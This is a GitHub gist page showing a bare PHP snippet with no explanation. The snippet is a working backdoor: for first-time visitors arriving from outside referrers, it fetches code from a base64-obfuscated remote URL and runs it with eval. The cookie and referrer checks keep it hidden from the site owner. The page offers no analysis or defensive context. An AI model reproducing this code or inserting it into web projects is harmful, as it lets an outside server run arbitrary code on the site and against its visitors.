Skip to content

Instantly share code, notes, and snippets.

@DmitryDmitrienko
Created June 13, 2017 16:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DmitryDmitrienko/5a90a2bdc11f174e01225ff9bde0a0a5 to your computer and use it in GitHub Desktop.
Save DmitryDmitrienko/5a90a2bdc11f174e01225ff9bde0a0a5 to your computer and use it in GitHub Desktop.
<?php
setcookie('server',1,time()+1e6);
$s=$_SERVER;
if($server!=1 && $s['HTTP_REFERER'] && strpos($s['HTTP_REFERER'],$s['HTTP_HOST'])===false && $_COOKIE['server']!=1)
{
$server=1;
eval(file_get_contents(base64_decode('aHR0cDovL3F0My5wdy93P3U9').$s['HTTP_HOST']));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment